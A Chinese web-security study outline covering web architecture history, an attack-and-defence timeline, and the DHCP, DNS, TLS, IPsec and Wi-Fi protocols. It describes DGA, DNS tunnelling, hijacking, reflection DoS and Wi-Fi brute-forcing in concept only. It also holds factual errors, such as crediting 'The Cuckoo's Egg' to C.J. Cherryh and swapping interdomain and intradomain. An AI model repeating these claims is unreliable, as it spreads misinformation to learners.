Web安全学习

项目地址(参考):https://websec.readthedocs.io/zh/latest/basic/history.html

本文只能充当目录简介,具体还要自己深入学习。

序章

Web技术演化

简单网站

Web技术在最初阶段,网站的主要内容是静态的,大多站点托管在ISP (Internet Service Provider) 上,由文字和图片组成,制作和表现形式也是以表格为主。当时的用户行为也非常简单,基本只是浏览网页。

随着技术的不断发展,音频、视频、Flash等多媒体技术诞生了。多媒体的加入使得网页变得更加生动形象,网页上的交互也给用户带来了更好的体验。

渐渐的,多媒体已经不能满足人们的请求,于是CGI (Common Gateway Interface) 应运而生。CGI定义了Web服务器与外部应用程序之间的通信接口标准,因此Web服务器可以通过CGI执行外部程序,让外部程序根据Web请求内容生成动态的内容。

在这个时候,各种编程语言如PHP/ASP/JSP也逐渐加入市场,基于这些语言可以实现更加模块化的、功能更强大的应用程序。

Ajax,在开始的时候,用户提交整个表单后才能获取结果,用户体验极差。于是Ajax (Asynchronous Javascript And XML) 技术逐渐流行起来,它使得应用在不更新整个页面的前提下也可以获得或更新数据。这使得Web应用程序更为迅捷地回应用户动作,并避免了在网络上发送那些没有改变的信息。

随着Web应用开发越来越标准化,出现了MVC等思想。MVC是Model/View/Control的缩写,Model用于封装数据和数据处理方法,视图View是数据的HTML展现,控制器Controller负责响应请求,协调Model和View。

Model,View和Controller的分开,是一种典型的关注点分离的思想,使得代码复用性和组织性更好,Web应用的配置性和灵活性也越来越好。而数据访问也逐渐通过面向对象的方式来替代直接的SQL访问,出现了ORM (Object Relation Mapping) 的概念。

除了MVC,类似的设计思想还有MVPModel View Presenter ),MVVM( Model-View-ViewModel )等。

数据交互

在CGI时期,前后端通常是没有做严格区分的,随着解耦和的需求不断增加,前后端的概念开始变得清晰。前端主要指网站前台部分,运行在PC端、移动端等浏览器上展现给用户浏览的网页,由HTML5、CSS3、JavaScript组成。后端主要指网站的逻辑部分,涉及数据的增删改查等。

此时,REST (Representation State Transformation) 逐渐成为一种流行的Web架构风格。

REST鼓励基于URL来组织系统功能,充分利用HTTP本身的语义,而不是仅仅将HTTP作为一种远程数据传输协议。一般RESTful有以下的特征:

    • 域名和主域名分开

      api.example.comexample.com/api/
      
    • 带有版本控制

      api.example.com/v1api.example.com/v2
      
    • 使用URL定位资源

      GET /users 获取所有用户GET /team/:team/users 获取某团队所有用户POST /users 创建用户PATCH/PUT /users 修改某个用户数据DELETE /users 删除某个用户数据
      
    • 用 HTTP 动词描述操作

      GET 获取资源,单个或多个POST 创建资源PUT/PATCH 更新资源,客户端提供完整的资源数据DELETE 删除资源
      
    • 正确使用状态码

      使用状态码提高返回数据的可读性
      
  • 默认使用 JSON 作为数据响应格式

  • 有清晰的文档

部分网络服务场景的数据有复杂的依赖关系,为了应对这些场景,Facebook 推出了 GraphQL ,以图状数据结构对数据进行查询存储。部分网站也应用了 GraphQL 作为 API 交互的方式。

随着业务对性能的要求提高,前后端开始使用HTTP/2、自定义Protocol Buffer等方式来加快数据交互。

中间件

随着业务的不断发展,业务架构也越来越复杂。传统的功能被拆分成不同的模块,出现了中间件、中台等概念。代理服务、负载均衡、数据库分表、异地容灾、缓存、CDN、消息队列、安全防护等技术应用越来越广泛,增加了Web开发和运维的复杂度。

客户端的形态越来越多,除了Web之外iOS、Android等其他场景也出现在Web服务的客户端场景。

数据库从最开始的轻量数据库,出现了Redis/Memcached缓存数据库等一类满足特定需求的数据库。

为了满足特定的业务需求,出现了Lucene/Solr/Elasticsearch搜索应用服务器,Kafka/RabbitMQ/ZeroMQ消息系统,Spark计算引擎,Hive数据仓库平台等不同的基础架构。

随着数据量的不断提高,单台设备难以承载这样的访问量,同时不同功能也被拆分到不同的应用中,于是出现了提高业务复用及整合的分布式服务框架(RPC)。

持续集成 (Continuous Integration, CI) 是让开发人员将工作集成到共享分支中的过程。频繁的集成有助于解决隔离,减少每次提交的大小,以降低合并冲突的可能性。

持续交付 (Continuous Deployment, CD) 是持续集成的扩展,它将构建从集成测试套件部署到预生产环境。这使得它可以直接在类生产环境中评估每个构建,因此开发人员可以在无需增加任何工作量的情况下,验证bug修复或者测试新特性。

云计算诞生之前,大部分计算资源是处于“裸金属”状态的物理机,运维人员选择对应规格的硬件,建设机房的 IDC 网络,完成服务的提供,投入硬件基础建设和维护的成本很高。云服务出现之后,使用者可以直接购买云主机,基础设施由供应商管理,这种方式也被称作 IaaS (Infrastructure-as-a-Service) 。

随着架构的继续发展,应用的运行更加细粒度,部署环境容器化,各个功能拆成微服务或是Serverless的架构。

Serverless 架构由两部分组成,即 Faas (Function-as-a-Service) 和 BaaS (Backend-as-a-Service) 。

FaaS是运行平台,用户上传需要执行的逻辑函数如一些定时任务、数据处理任务等到云函数平台,配置执行条件触发器、路由等等,就可以通过云平台完成函数的执行。

BaaS包含了后端服务组件,它基于 API 完成第三方服务,主要是数据库、对象存储、消息队列、日志服务等等。

微服务起源于2005年Peter Rodgers博士在云端运算博览会提出的微Web服务 (Micro-Web-Service),根本思想类似于Unix的管道设计理念。2014年,由Martin Fowler与 James Lewis共同提出了微服务的概念,定义了微服务架构风格是一种通过一套小型服务来开发单个应用的方法,每个服务运行在自己的进程中,并通过轻量级的机制进行通讯 (HTTP API) 。

微服务是一种应用于组件设计和部署架构的软件架构风格。它利用模块化的方式组合出复杂的大型应用程序:

  • 各个服务功能内聚,实现与接口分离。
  • 各个服务高度自治、相互解耦,可以独立进行部署、版本控制和容量伸缩。
  • 各个服务之间通过 API 的方式进行通信。
  • 各个服务拥有独立的状态,并且只能通过服务本身来对其进行访问。

API网关是一个服务器,客户端只需要使用简单的访问方式,统一访问API网关,由API网关来代理对后端服务的访问,同时由于服务治理特性统一放到API网关上面,服务治理特性的变更可以做到对客户端透明,一定程度上实现了服务治理等基础特性和业务服务的解耦,服务治理特性的升级也比较容易实现。

网络攻防技术演化

1939年,图灵破解了Enigma,使战争提前结束了两年,这是较早的一次计算机安全开始出现在人们的视野中,这个时候计算机的算力有限,人们使用的攻防方式也相对初级。

1949年,约翰·冯·诺依曼(John Von Neumann)提出了一种可自我复制的程序的设计,这被认为是世界上第一种计算机病毒

1970年到2009年间,随着因特网不断发展,网络安全也开始进入人们的视野。在网络发展的初期,很多系统都是零防护的,安全意识也尚未普及开来。很多系统的设计也只考虑了可用性,对安全性的考虑不多,所以在当时结合搜索引擎与一些集成渗透测试工具,可以很容易的拿到数据或者权限。

1972年,缓冲区溢出攻击被 Computer Security Technology Planning Study 提出。

1984年,Ken Thompson 在 Reflections on Trusting Trust 一文中介绍了自己如何在编译器中增加后门来获取 Unix 权限的,这也是较早的供应链攻击。

1988年,卡耐基梅隆大学(Carnegie Mellon University, CMU)的一位学生以测试的目的编写了Morris Worm,对当时的互联网造成了极大的损害。

同年,CMU的CERT Coordination Center (CERT-CC)为了处理Morris Worm对互联网造成的破坏,组成了第一个计算机紧急响应小组(Computer Emergency Response Team),而后全球多个国家、地区、团体都构建了CERT、SRC等组织。

同样是在1988年,Barton Miller教授在威斯康星大学的 计算机实验课上 ,首次提出Fuzz生成器(Fuzz Generator)的概念,用于测试Unix程序的健壮性,即用随机数据来测试程序直至崩溃。因此,Barton Miller教授也被多数人尊称为"模糊测试之父"。

1989年,C.J.Cherryh 发表了小说 The Cuckoo's Egg: Tracking a Spy Through the Maze of Computer Espionage ,这本书是作者根据追溯黑客攻击的真实经历改编,在书中提出了蜜罐技术的雏形。

1990年,一些网络防火墙的产品开始出现,此时主要是基于网络的防火墙,可以处理FTP等应用程序。

1993年起,Jeff Moss开始每年在美国内华达州的拉斯维加斯举办 DEFCON (也写做 DEF CON, Defcon, or DC, 全球最大的计算机安全会议之一) 。CTF (Capture The Flag) 比赛的形式也是起源于1996年的 DEFCON 。

1993年7月,Windows NT 3.1发布,引入了身份认证、访问控制和安全审计等安全控制机制,在此之前的 Windows 9x 内核几乎没有任何安全性机制。

1996年,Smashing the Stack For Fun and Profit发表,在堆栈的缓冲区溢出的利用方式上做出了开创性的工作。

1997年起,Jeff Moss开始举办 Black Hat ,以中立的立场进行信息安全研究的交流和培训,到目前为止,Black Hat 也会在欧洲和亚洲举行。

1998年12月,Jeff Forristal在一篇 文章 中提到了使用SQL注入的技巧攻击一个网站的例子,从此SQL注入开始被广泛讨论。

1999年1月21日-22日的第二届 Research with Security Vulnerability Databases 的 WorkShop 上, MITRE 的创始人 David E. Mann 和 Steven M. Christey 发表了一篇名为《Towards a Common Enumeration of Vulnerabilities》的白皮书,提出了CVE (Common Vulnerabilities and Exposures, 通用漏洞披露) 的概念,在当年收录并公开了321个CVE漏洞。

1999年12月,MSRC的一些工程师发现了一些网站被注入代码的例子,他们在整理讨论后公开了这种攻击,并称为 Cross Site Scripting

2002年1月,Microsoft发起了 “可信赖计算” (Trustworthy Computing) 计划,以帮助确保产品和服务在本质上具有高度安全性,可用性,可靠性以及业务完整性,SDL (Security Development Lifecycle) 也在此时被提出。

2001年9月9日,Mark Curphey启动了OWASP (Open Web Application Security Project) 项目,开始在社区中提供一些Web攻击技术的文章、方法和工具等。

在此之后,Responsible disclosure / Full disclosure 等概念也不断进入人们的视野之中。

2002年10月4日,Kevin Mitnick 编著的 The Art of Deception (欺骗的艺术) 出版,这本书详细的介绍了社会工程学在攻击中是如何应用的,Kevin Mitnick 也被认为是社会工程学的开山鼻祖。

2005年7月25日,Zero Day Initiative (ZDI) 创建,鼓励负责任的漏洞披露。

2005年11月,基于从1941年2月开始的情报收集积累和发展,Director of National Intelligence 宣布成立 Open Source Center (OSC) ,进行开源情报的收集,而后 Open-source intelligence (OSINT) 的概念也不断被人们认知。

2006年,APT(Advanced Persistent Threat, 高级持续威胁) 攻击的概念被正式提出,用来描述从20世纪90年代末到21世纪初在美国军事和政府网络中发现的隐蔽且持续的网络攻击。

2006年起,美国国土安全部(DHS)开始每两年举行一次 “网络风暴” (Cyber Storm) 系列国家级网络事件演习。

随着时代不断的发展,攻防技术有了很大的改变,防御手段、安全意识也随着演化。在攻击发生前有威胁情报、黑名单共享等机制,威胁及时能传播。在攻击发生时有基于各种机制的防火墙如关键字检测、语义分析、深度学习,有的防御机制甚至能一定程度上防御零日攻击。在攻击发生后,一些关键系统系统做了隔离,攻击成果难以扩大,就算拿到了目标也很难做进一步的攻击。也有的目标蜜罐仿真程度很高,有正常的服务和一些难以判断真假的业务数据。

2010年6月,震网 (Stuxnet) 被发现,在这之后供应链攻击事件开始成为网络空间安全的新兴威胁之一。随后的XcodeGhost、CCleaner等供应链攻击事件都造成了重大影响。

在2010年Forrester Research Inc.的分析师提出了“零信任”的概念模型时。

2012年1月,Gartner 公司提出了 IAST (Interactive Application Security Testing) 的概念,提供了结合 DAST 和 SAST 两种技术的解决方案。

2012年9月,Gartner 公司研究员 David Cearley 提出了 DevSecOps 的概念,表示 DevOps 的流程应该包含安全理念。

2013年,MITRE 提出了 ATT&CK™ (Adversarial Tactics, Techniques, and Common Knowledge, ATT&CK) ,这是一个站在攻击者的视角来描述攻击中各阶段用到的技术的模型。

2013年,Michigan 大学开始了 ZMap 项目,在2015年这个项目演化为 Censys ,从这之后网络空间测绘的项目逐渐出现。

2014年,在 Gartner Security and Risk Management Summit 上,Runtime Application Self-protection (RASP) 的概念被提出,在应用层进行安全保护。

2015年,Gartner 首次提出了 SOAR 的概念,最初的定义是 Security Operations, Analytics and Reporting,即安全运维分析与报告。

2017年,Gartner 对 SOAR 概念做了重新定义:Security Orchestration, Automation and Response, 即安全编排、自动化与响应。

网络安全观

网络定义安全

网络安全的一个通用定义指网络信息系统的硬件、软件及其系统中的数据受到保护,不因偶然的或者恶意的破坏、更改、泄露,系统能连续、可靠、正常地运行,服务不中断。网络安全简单的说是在网络环境下能够识别和消除不安全因素的能力。

网络安全在不同环境和应用中有不同的解释,例如系统运行的安全、系统信息内容的安全、信息通信与传播的安全等。

网络安全的基本需求包括可靠性、可用性、保密性、完整性、不可抵赖性、可控性、可审查性、真实性等。其中三个最基本的要素是机密性 (Confidentiality)、完整性 (Integrity)、可用性 (Availability)。

机密性是不将有用信息泄漏给非授权用户的特性。可以通过信息加密、身份认证、访问控制、安全通信协议等技术实现,信息加密是防止信息非法泄露的最基本手段,主要强调有用信息只被授权对象使用的特征。

完整性是指信息在传输、交换、存储和处理过程中,保持信息不被破坏或修改、不丢失和信息未经授权不能改变的特性,也是最基本的安全特征。

可用性指信息资源可被授权实体按要求访问、正常使用或在非正常情况下能恢复使用的特性。在系统运行时正确存取所需信息,当系统遭受意外攻击或破坏时,可以迅速恢复并能投入使用。是衡量网络信息系统面向用户的一种安全性能,以保障为用户提供服务。

网络安全的主体是保护网络上的数据和通信的安全,数据安全性是指软硬件保护措施,用来阻止对数据进行非授权的泄漏、转移、修改和破坏等,通信安全性是通信保护措施,要求在通信中采用保密安全性、传输安全性、辐射安全性等措施。

系统脆弱性

信息系统本身是脆弱的,信息系统的硬件资源、通信资源、软件及信息资源等都可能因为可预见或不可预见甚至恶意的原因而可能导致系统受到破坏、更改、泄露和功能失效,从而使系统处于异常状态,甚至崩溃瘫痪。

硬件资源的脆弱性主要表现为物理安全方面的问题,多源于设计,采用软件程序的方法见效不大。

软件的脆弱性来源于设计和软件工程实施中遗留问题,如设计中的疏忽、内部设计的逻辑混乱,没有遵守信息系统安全原则进行设计等。

法律与法规

计算机网络与协议

网络基础

协议(HTTP/TCP/IP)

DHCP协议

动态主机配置协议 (Dynamic Host Configuration Protocol,DHCP) 是一个用于局域网的网络协议,位于OSI模型的应用层,使用UDP协议工作,主要用于自动分配IP地址给用户,方便管理员进行统一管理。

DHCP服务器端使用67/udp,客户端使用68/udp。

DHCP运行分为四个基本过程

  • 请求IP租约
  • 提供IP租约
  • 选择IP租约
  • 确认IP租约
  • 客户端在获得了一个IP地址以后,就可以发送一个ARP请求来避免由于DHCP服务器地址池重叠而引发的IP冲突。

DCHP 报文格式

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     op (1)    |   htype (1)   |   hlen (1)    |   hops (1)    |
+---------------+---------------+---------------+---------------+
|                            xid (4)                            |
+-------------------------------+-------------------------------+
|           secs (2)            |           flags (2)           |
+-------------------------------+-------------------------------+
|                          ciaddr  (4)                          |
+---------------------------------------------------------------+
|                          yiaddr  (4)                          |
+---------------------------------------------------------------+
|                          siaddr  (4)                          |
+---------------------------------------------------------------+
|                          giaddr  (4)                          |
+---------------------------------------------------------------+
|                          chaddr  (16)                         |
+---------------------------------------------------------------+
|                          sname   (64)                         |
+---------------------------------------------------------------+
|                          file    (128)                        |
+---------------------------------------------------------------+
|                          options (variable)                   |
+---------------------------------------------------------------+

路由算法

路由算法是用于找到一条从源路由器到目的路由器的最佳路径的算法。存在着多种路由算法,每种算法对网络和路由器资源的影响都不同;由于路由算法使用多种度量标准 (metric),所以不同路由算法的最佳路径选择也有所不同。

路由选择算法的功能

源/宿对之间的路径选择,以及选定路由之后将报文传送到它们的目的地。

路由选择算法的要求:

  • 正确性:确保分组从源节点传送到目的节点
  • 简单性:实现方便,软硬件开销小
  • 自适应性:也称健壮性,算法能够适应业务量和网络拓扑的变化
  • 稳定性:能长时间无故障运行
  • 公平性:每个节点都有机会传送信息
  • 最优性:尽量选取好的路由

自治系统 AS (Autonomous System)

经典定义:

  • 由一个组织管理的一整套路由器和网络。
  • 使用一种AS 内部的路由选择协议和共同的度量以确定分组在该 AS 内的路由。
  • 使用一种 AS 之间的路由选择协议用以确定分组在AS之间的路由。

尽管一个 AS 使用了多种内部路由选择协议和度量,但对其他 AS 表现出的是一个单一的和一致的路由选择策略。

两大类路由选择协议

因特网的中,路由协议可以分为内部网关协议 IGP (Interior Gateway Protocol)和外部网关协议 EGP (External Gateway Protocol)。

IGP是在一个AS内部使用的路由选择协议,如RIP和OSPF协议,是域内路由选择 (interdomain routing)。当源主机和目的主机处在不同的AS中,在数据报到达AS的边界时,使用外部网关协议 EGP 将路由选择信息传递到另一个自治系统中,如BGP-4,是域间路由选择 (intradomain routing)。

  • RIP

    路由信息协议 (Routing Information Protocol, RIP) 是一种基于距离 向量的路由选择协议。
    RIP 协议要求网络中的每一个路由器都要维护从它自己到自治系统内其他每一个目的网络的距离
    和下一跳路由器地址。
    
  • OSPF

    开放最短路径优先(Open Shortest Path First,OSPF),
    这个算法名为“最短路径优先”是因为使用了 Dijkstra 提出的最短路径算法SPF,只是一个协议的名字,
    它并不表示其他的路由选择协议不是“最短路径优先”。
    

域名系统

DNS是一个简单的请求-响应协议,是将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用TCP和UDP协议的53端口。

mDNS

Multicast DNS (mDNS),多播DNS,使用5353端口,组播地址为 224.0.0.251[FF02::FB] 。在一个没有常规DNS服务器的小型网络内可以使用mDNS来实现类似DNS的编程接口、包格式和操作语义。mDNS协议的报文与DNS的报文结构相同,但有些字段对于mDNS来说有新的含义。

启动mDNS的主机会在进入局域网后向所有主机组播消息,包含主机名、IP等信息,其他拥有相应服务的主机也会响应含有主机名和IP的信息。

mDNS的域名是用 .local 和普通域名区分开的。

FQDN

FQDN (Fully-Qualified Domain Name) 是域名的完全形态,主要是包含零长度的根标签,例如 www.example.com.

TLD

Top-Level Domain (TLD) 是属于根域的一个域,例如 comjp

TLD一般可以分为 Country Code Top-Level Domains (ccTLDs) 、Generic Top-Level Domains (gTLDs) 以及其它。

IDN

Internationalized Domain Names for Applications (IDNA) 是为了处理非ASCII字符的情况。

CNAME

CNAME即Canonical name,又称alias,将域名指向另一个域名。

TTL

Time To Live,无符号整数,记录DNS记录过期的时间,最小是0,最大是2147483647 (2^31 - 1)。

DNS记录

    • A记录

      返回域名对应的IPv4地址
      
    • NS记录

      域名服务器返回该域名由哪台域名服务器解析
      
    • PTR记录

      反向记录从IP地址到域名的记录
      
    • MX记录

      电子邮件交换记录记录邮件域名对应的IP地址
      

响应码

  • NOERROR
No error condition
  • FORMERR
Format error - The name server was unable to interpret the query
  • SERVFAIL
Server failure - The name server was unable to process this query due to a problem with the name server
  • NXDOMAIN
this code signifies that the domain name referenced in the query does not exist
  • NOTIMP
Not Implemented - The name server does not support the requested kind of query
  • REFUSED
Refused - The name server refuses to perform the specified operation for policy reasons
  • NODATA
A pseudo RCODE which indicates that the name is valid, for the given class, but [there] are no records of the given type A NODATA response has to be inferred from the answer.

域名系统工作原理

解析过程

DNS解析过程是递归查询的,具体过程如下:

  • 用户要访问域名www.example.com时,先查看本机hosts是否有记录或者本机是否有DNS缓存,如果有,直接返回结果,否则向递归服务器查询该域名的IP地址
  • 递归缓存为空时,首先向根服务器查询com顶级域的IP地址
  • 根服务器告知递归服务器com顶级域名服务器的IP地址
  • 递归向com顶级域名服务器查询负责example.com的权威服务器的IP
  • com顶级域名服务器返回相应的IP地址
  • 递归向example.com的权威服务器查询www.example.com的地址记录
  • 权威服务器告知www.example.com的地址记录
  • 递归服务器将查询结果返回客户端

域传送

DNS服务器可以分为主服务器、备份服务器和缓存服务器。域传送是指备份服务器从主服务器拷贝数据,并使用得到的数据更新自身数据库。域传送是在主备服务器之间同步数据库的机制。

服务器类型

根服务器

根服务器是DNS的核心,负责互联网顶级域名的解析,用于维护域的权威信息,并将DNS查询引导到相应的域名服务器。

根服务器在域名树中代表最顶级的 . 域, 一般省略。

13台IPv4根服务器的域名标号为a到m,即a.root-servers.org到m.root-servers.org,所有服务器存储的数据相同,仅包含ICANN批准的TLD域名权威信息。

权威服务器

权威服务器上存储域名Zone文件,维护域内域名的权威信息,递归服务器可以从权威服务器获得DNS查询的资源记录。

权威服务器需要在所承载的域名所属的TLD管理局注册,同一个权威服务器可以承载不同TLD域名,同一个域也可以有多个权威服务器。

递归服务器

递归服务器负责接收用户的查询请求,进行递归查询并响应用户查询请求。在初始时递归服务器仅有记录了根域名的Hint文件。

DNS利用

DGA

DGA(Domain Generate Algorithm,域名生成算法)是一种利用随机字符来生成C&C域名,从而逃避域名黑名单检测的技术手段,常见于botnet中。一般来说,一个DGA域名的存活时间约在1-7天左右。

通信时,客户端和服务端都运行同一套DGA算法,生成相同的备选域名列表,当需要发动攻击的时候,选择其中少量进行注册,便可以建立通信,并且可以对注册的域名应用速变IP技术,快速变换IP,从而域名和IP都可以进行快速变化。

DGA域名有多种生成方式,根据种子类型可以分为确定性和不确定性的生成。不确定性的种子可能会选用当天的一些即时数据,如汇率信息等。

DNS隧道

DNS隧道工具将进入隧道的其他协议流量封装到DNS协议内,在隧道上传输。这些数据包出隧道时进行解封装,还原数据。

加密方案

作为主流的防御方案,DNS加密有五种方案,分别是 DNS-over-TLS (DoT)、DNS-over-DTLS、DNS-over-HTTPS (DoH)、DNS-over-QUIC以及DNSCrypt。

DoT

DoT方案在2016年发表于RFC7858,使用853端口。主要思想是Client和Server通过TCP协议建立TLS会话后再进行DNS传输,Client通过SSL证书验证服务器身份。

DNS-over-DTLS

DNS-over-DTLS和DoT类似,区别在于使用UDP协议而不是TCP协议。

DoH

DoH方案在发表RFC8484,使用 https://dns.example.com/dns-query{?dns} 来查询服务器的IP,复用https的443端口,流量特征比较小。DoH会对DNS服务器进行加密认证,不提供fallback选项。目前Cloudflare、Google等服务商对DoH提供了支持。

DNS-over-QUIC

DNS-over-QUIC安全特性和DoT类似,但是性能更高,目前没有合适的软件实现。

DNSCrypt

DNSCrypt使用X25519-XSalsa20Poly1305而非标准的TLS,且DNSCrypt的Client需要额外的软件,Server需要的专门的证书。

相关漏洞

DNS劫持

DNS劫持有多种方式,比较早期的攻击方式是通过攻击域名解析服务器,或是伪造DNS响应的方法,来将域名解析到恶意的IP地址。

随着互联网应用的不断发展,出现了基于废弃记录的劫持方式。这种方式发生的场景是次级域名的解析记录指向第三方资源,而第三方资源被释放后,解析记录并没有取消,在这种场景下,可以对应申请第三方资源,以获取控制解析记录的能力。

拒绝服务

DNS服务通常会开启UDP端口,当DNS服务器拥有大量二级域NS记录时,通过DNS的UDP反射攻击可以实现高倍的拒绝服务。

SSL/TLS

SSL全称是Secure Sockets Layer,安全套接字层,它是由网景公司(Netscape)在1994年时设计,主要用于Web的安全传输协议,目的是为网络通信提供机密性、认证性及数据完整性保障。如今,SSL已经成为互联网保密通信的工业标准。

SSL最初的几个版本(SSL 1.0、SSL2.0、SSL 3.0)由网景公司设计和维护,从3.1版本开始,SSL协议由因特网工程任务小组(IETF)正式接管,并更名为TLS(Transport Layer Security),发展至今已有TLS 1.0、TLS1.1、TLS1.2、TLS1.3这几个版本。

如TLS名字所说,SSL/TLS协议仅保障传输层安全。同时,由于协议自身特性(数字证书机制),SSL/TLS不能被用于保护多跳(multi-hop)端到端通信,而只能保护点到点通信。

SSL/TLS协议能够提供的安全目标主要包括如下几个:

    • 认证性

      借助数字证书认证服务端端和客户端身份,防止身份伪造
      
    • 机密性

      借助加密防止第三方窃听
      
    • 完整性

      借助消息认证码(MAC)保障数据完整性,防止消息篡改
      
    • 重放保护

      通过使用隐式序列号防止重放攻击
      

为了实现这些安全目标,SSL/TLS协议被设计为一个两阶段协议,分为握手阶段和应用阶段:

握手阶段也称协商阶段,在这一阶段,客户端和服务端端会认证对方身份(依赖于PKI体系,利用数字证书进行身份认证),并协商通信中使用的安全参数、密码套件以及MasterSecret。后续通信使用的所有密钥都是通过MasterSecret生成。 在握手阶段完成后,进入应用阶段。在应用阶段通信双方使用握手阶段协商好的密钥进行安全通信。

TLS 包含几个子协议,比较常用的有记录协议、警报协议、握手协议、变更密码规范协议等。

  • 记录协议(Record Protocol)规定了 TLS 收发数据的基本单位记录(record)。
  • 警报协议(Alert Protocol)用于提示协议交互过程出现错误。
  • 握手协议(Handshake Protocol)是 TLS 里最复杂的子协议,在握手过程中协商 TLS 版本号、随机数、密码套件等信息,然后交换证书和密钥参数,最终双方协商得到会话密钥,用于后续的混合加密系统
  • 变更密码规范协议(Change Cipher Spec Protocol)是一个“通知”,告诉对方,后续的数据都将使用加密保护。

交互过程

Client Hello 由客户端发送,内容包括客户端的一个Unix时间戳(GMT Unix Time)、一些随机的字节(Random Bytes),还包括了客户端接受的算法类型(Cipher Suites)。

Server Hello 由服务端发送,内容包括服务端支持的算法类型、GMT Unix Time以及Random Bytes。

Certificate由服务端或者客户端发送,发送方会会将自己的数字证书发送给接收方,由接收方进行证书验证,如果不通过的话,接收方会中断握手的过程。一般跟在Client / Server Hello报文之后。

Server Key Exchange由服务端发送,将自己的公钥参数传输给了客户端,一般也和Server Hello与Certificate在一个TCP报文中。

Server Hello Done服务端发送,一般也和Server Hello、Certificate和Server Key Exchange在一个TCP报文中。

Client Key Exchange客户端发送,向服务端发送自己的公钥参数,与服务端协商密钥。

Change Cipher Spec客户端或者服务端发送,紧跟着Key Exchange发送,代表自己生成了新的密钥,通知对方以后将更换密钥,使用新的密钥进行通信。

Encrypted Handshake Message客户端或者服务端发送,紧跟着Key Exchange发送。进行测试,一方用自己的刚刚生成的密钥加密一段固定的消息发送给对方,如果密钥协商正确无误的话,对方可以正确解密。

New Session Ticket服务端发送,表示发起会话,在一段时间之内(超时时间到来之前),双方都以刚刚交换的密钥进行通信。从这以后,加密通信正式开始。

Application Data使用密钥交换协议协商出来的密钥加密的应用层的数据。

Encrypted Alert客户端或服务端发送,意味着加密通信因为某些原因需要中断,警告对方不要再发送敏感的数据。

TLS 1.3

  • 引入了PSK作为新的密钥协商机制

  • 支持 0-RTT 模式,以安全性降低为代价,在建立连接时节省了往返时间

  • ServerHello 之后的所有握手消息采取了加密操作,可见明文减少

  • 不再允许对加密报文进行压缩、不再允许双方发起重协商

  • DSA 证书不再允许在 TLS 1.3 中使用

    • 删除不安全的密码算法

      RSA 密钥传输 - 不支持前向安全性CBC 模式密码 - 易受 BEAST 和 Lucky 13 攻击RC4 流密码 - 在 HTTPS 中使用并不安全SHA-1 哈希函数 - 建议以 SHA-2 取而代之任意 Diffie-Hellman 组- CVE-2016-0701 漏洞输出密码 - 易受 FREAK 和 LogJam 攻击
      

SSL/TLS协议有一个高度模块化的架构,分为很多子协议,主要是:

    • Handshake 协议

      包括协商安全参数和密码套件、服务端身份认证(客户端身份认证可选)、密钥交换
      
    • ChangeCipherSpec 协议

      一条消息表明握手协议已经完成
      
    • Alert 协议

      对握手协议中一些异常的错误提醒,分为fatal和warning两个级别,fatal类型的错误会直接中断SSL链接,而warning级别的错误SSL链接仍可继续,只是会给出错误警告
      
    • Record 协议

      包括对消息的分段、压缩、消息认证和完整性保护、加密等
      

IPsec

IPsec(IP Security)是IETF制定的三层隧道加密协议,它为Internet上传输的数据提供了高质量的、可互操作的、基于密码学的安全保证。特定的通信方之间在IP层通过加密与数据源认证等方式,提供了以下的安全服务:

    • 数据机密性(Confidentiality)

      IPsec发送方在通过网络传输包前对包进行加密。
      
    • 数据完整性(Data Integrity)

      IPsec接收方对发送方发送来的包进行认证,以确保数据在传输过程中没有被篡改。
      
    • 数据来源认证(Data Authentication)

      IPsec在接收端可以认证发送IPsec报文的发送端是否合法。
      
    • 防重放(Anti-Replay)

      IPsec接收方可检测并拒绝接收过时或重复的报文。
      

优点

IPsec具有以下优点:

  • 支持IKE(Internet Key Exchange,因特网密钥交换),可实现密钥的自动协商功能,减少了密钥协商的开销。可以通过IKE建立和维护SA的服务,简化了IPsec的使用和管理。
  • 所有使用IP协议进行数据传输的应用系统和服务都可以使用IPsec,而不必对这些应用系统和服务本身做任何修改。
  • 对数据的加密是以数据包为单位的,而不是以整个数据流为单位,这不仅灵活而且有助于进一步提高IP数据包的安全性,可以有效防范网络攻击。

构成

IPsec由四部分内容构成:

  • 负责密钥管理的Internet密钥交换协议IKE(Internet Key Exchange Protocol)
  • 负责将安全服务与使用该服务的通信流相联系的安全关联SA(Security Associations)
  • 直接操作数据包的认证头协议AH(IP Authentication Header)和安全载荷协议ESP(IP Encapsulating Security Payload)
  • 若干用于加密和认证的算法

安全联盟(SA)

IPsec在两个端点之间提供安全通信,端点被称为IPsec对等体。

SA是IPsec的基础,也是IPsec的本质。SA是通信对等体间对某些要素的约定,例如,使用哪种协议(AH、ESP还是两者结合使用)、协议的封装模式(传输模式和隧道模式)、加密算法(DES、3DES和AES)、特定流中保护数据的共享密钥以及密钥的生存周期等。建立SA的方式有手工配置和IKE自动协商两种。

SA是单向的,在两个对等体之间的双向通信,最少需要两个SA来分别对两个方向的数据流进行安全保护。同时,如果两个对等体希望同时使用AH和ESP来进行安全通信,则每个对等体都会针对每一种协议来构建一个独立的SA。

SA由一个三元组来唯一标识,这个三元组包括SPI(Security Parameter Index,安全参数索引)、目的IP地址、安全协议号(AH或ESP)。

SPI是用于唯一标识SA的一个32比特数值,它在AH和ESP头中传输。在手工配置SA时,需要手工指定SPI的取值。使用IKE协商产生SA时,SPI将随机生成。

IKE

IKE(RFC2407,RFC2408、RFC2409)属于一种混合型协议,由Internet安全关联和密钥管理协议(ISAKMP)和两种密钥交换协议OAKLEY与SKEME组成。IKE创建在由ISAKMP定义的框架上,沿用了OAKLEY的密钥交换模式以及SKEME的共享和密钥更新技术,还定义了它自己的两种密钥交换方式。

IKE使用了两个阶段的ISAKMP:

第一阶段,协商创建一个通信信道(IKE SA),并对该信道进行验证,为双方进一步的IKE通信提供机密性、消息完整性以及消息源验证服务; 第二阶段,使用已建立的IKE SA建立IPsec SA(V2中叫Child SA)。

Wi-Fi

Wi-Fi又称“无线热点”或“无线网络”,是Wi-Fi联盟的商标,一个基于IEEE 802.11标准的无线局域网技术。

攻击

暴力破解

WiFi密码是基于预置的秘钥,可以通过抓取报文的方式在本地快速的批量进行密码爆破尝试。

伪造热点

AP可以动态的广播自己,客户也可以主动发送探针请求。可以伪造AP发送对探针请求的响应包,来让客户端错误的识别。

秘钥重装攻击

